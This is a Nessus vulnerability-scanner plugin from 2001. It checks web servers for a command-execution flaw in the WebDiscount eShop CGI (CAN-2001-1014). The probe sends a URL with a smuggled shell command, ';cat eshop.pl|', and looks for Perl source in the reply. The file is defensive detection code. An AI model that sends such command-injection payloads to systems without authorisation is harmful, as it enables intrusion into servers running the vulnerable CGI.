1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
|
#
# Copyright 2001 by Noam Rathaus <noamr@securiteam.com>
#
# See the Nessus Scripts License for details
#
#
if(description)
{
script_id(10775);
script_bugtraq_id(3340);
script_cve_id("CAN-2001-1014");
script_version ("$Revision: 1.15 $");
name["english"] = "E-Shopping Cart Arbitrary Command Execution (WebDiscount)";
script_name(english:name["english"]);
desc["english"] = "
The eShop (WebDiscount) CGI is installed. A security problem in this CGI
allows anyone to execute arbitrary commands with the privileges of the
web server.
Solution: Contact the author for a patch.
Risk factor : High
Additional information:
http://www.securiteam.com/unixfocus/5JP0M005FU.html
";
script_description(english:desc["english"]);
summary["english"] = "E-Shopping Cart Arbitrary Command Execution (WebDiscount)";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2001 SecuriTeam");
family["english"] = "CGI abuses";
script_family(english:family["english"]);
script_dependencie("find_service.nes", "no404.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
function check(prefix)
{
url = string(prefix, "/eshop.pl/seite=;cat%20eshop.pl|");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req);
if( buf == NULL ) exit(0);
if (egrep(pattern:"^#!/.*/perl", string:buf))
{
security_hole(port:port);
exit(0);
}
return(0);
}
check(prefix:"/cgi-local");
foreach dir (cgi_dirs())
{
check(prefix:dir);
}
|